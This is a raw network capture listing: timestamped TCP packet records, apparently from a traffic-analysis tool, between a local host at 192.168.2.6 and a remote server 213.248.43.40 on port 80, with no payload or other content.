Dec 19, 2023 05:18:21.932883978 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.932930946 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.933155060 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.933206081 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.933326960 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.933372974 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.933486938 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.933530092 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.933888912 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.933939934 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.934031010 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.934072971 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.934099913 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.934144020 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.934935093 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.934990883 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.934992075 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.935033083 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.935255051 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.935302019 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.935305119 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.935343981 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.935591936 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.935635090 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.935791969 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.935837030 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.956357956 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.956543922 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.127492905 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.127583981 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.179127932 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.179291010 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.187757969 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.187922955 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.207957983 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.208035946 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.208236933 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.208283901 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.208952904 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.209002972 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.209630966 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.209680080 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.209692001 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.209741116 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.209851980 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.209902048 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.209969044 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.210011005 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.210293055 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.210342884 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.210536003 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.210588932 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.210871935 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.210918903 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.211169958 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.211214066 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.211299896 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.211349010 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.211618900 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.211671114 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.212992907 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.213046074 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.213629007 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.213675022 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.214000940 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.214046001 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.214224100 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.214265108 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.214270115 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.214310884 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.214539051 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.214586973 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.215183973 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.215226889 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.215415955 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.215461969 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.215909004 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.215950012 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.215976000 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.216017008 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.216183901 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.216224909 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.216309071 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.216350079 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.216408014 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.216449022 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.216589928 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.216634035 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.216897964 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.216938019 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.217047930 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.217087030 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.217308044 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.217345953 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.217583895 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.217623949 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.217797995 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.217840910 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.217977047 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.218020916 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.218218088 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.218261957 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.218287945 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.218331099 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.218869925 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.218918085 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.238559961 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.238634109 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.451601028 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.451690912 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.461276054 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.461344957 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.469718933 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.469789028 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.489993095 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.490041971 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.490061045 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.490083933 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.490964890 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.491019964 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.491250038 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.491301060 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.491383076 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.491427898 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.491492033 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.491544962 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.491900921 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.491950035 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.492196083 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.492249012 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.492769957 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.492820978 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.492894888 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.492948055 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.493160009 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.493201971 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.493346930 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.493390083 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.494846106 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.494899035 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.495471001 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.495528936 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.496412992 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.496462107 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.496464014 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.496515989 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.496586084 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.496629000 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.496897936 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.496948957 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.497314930 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.497365952 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.497791052 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.497839928 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.497920036 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.497962952 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.498092890 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.498131037 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.498357058 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.498399019 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.498493910 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.498547077 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.499062061 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.499110937 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.499917030 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.499974966 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.500070095 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.500118017 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.500202894 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.500248909 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.500325918 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.500370026 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.500610113 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.500664949 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.500765085 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.500808954 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.501169920 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.501216888 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.520519018 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.520602942 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.743599892 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.743676901 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.752002954 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.752094030 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.772624016 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.772705078 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.772792101 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.772845030 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.773066998 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.773112059 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.773425102 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.773472071 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.773477077 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.773511887 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.773969889 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.774022102 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.774279118 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.774327040 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.774583101 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.774630070 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.774877071 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.774924994 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.774969101 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.775015116 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.775120974 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.775167942 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.776634932 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.776688099 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.777262926 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.777311087 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.777406931 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.777456045 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.779064894 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.779094934 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.779109001 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.779117107 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.779156923 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.779798031 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.779850006 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.780441999 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.780493021 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.780802965 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.780849934 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.780872107 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.780925035 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.780942917 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.780987978 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.780991077 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.781028032 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.781140089 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.781184912 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.781451941 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.781497002 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.781586885 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.781639099 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.781867981 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.781919956 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.782102108 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.782146931 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.782233000 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.782279015 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.782632113 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.782682896 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.783113956 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.783128023 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.783159018 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.783174038 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.783209085 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.783252954 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.783904076 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.783957958 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.783982992 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.784027100 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.784257889 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.784305096 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.784332037 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.784378052 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:22.802894115 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:22.803029060 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.026175022 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.026242018 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.035599947 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.035662889 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.054640055 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.054728985 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.054965973 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.055049896 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.055077076 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.055119991 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.055389881 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.055447102 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.055500031 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.055552959 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.055589914 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.055634022 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.055803061 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.055860996 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.056286097 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.056340933 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.056529045 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.056583881 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.056816101 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.056864023 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.056973934 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.057029009 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.057221889 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.057275057 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.058639050 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.058702946 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.059124947 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.059179068 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.059485912 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.059531927 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.061198950 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.061264992 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.061594963 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.061640978 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.061651945 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.061700106 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.061976910 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.062037945 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.062164068 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.062211037 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.062294960 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.062336922 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.062530994 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.062582970 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.062731028 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.062779903 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.063097000 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.063142061 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.063452005 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.063507080 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.063570976 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.063591957 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.063726902 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.063776016 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.064341068 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.064388037 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.064795971 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.064853907 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:23.065534115 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.065635920 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.065697908 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.065891027 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.066162109 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.066585064 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.066791058 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.066904068 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.085210085 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.308705091 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.317821026 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.336771011 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.336800098 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.337266922 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.337645054 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.337929010 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.338002920 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.338057995 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:23.338303089 CET	80	49712	213.248.43.40	192.168.2.6
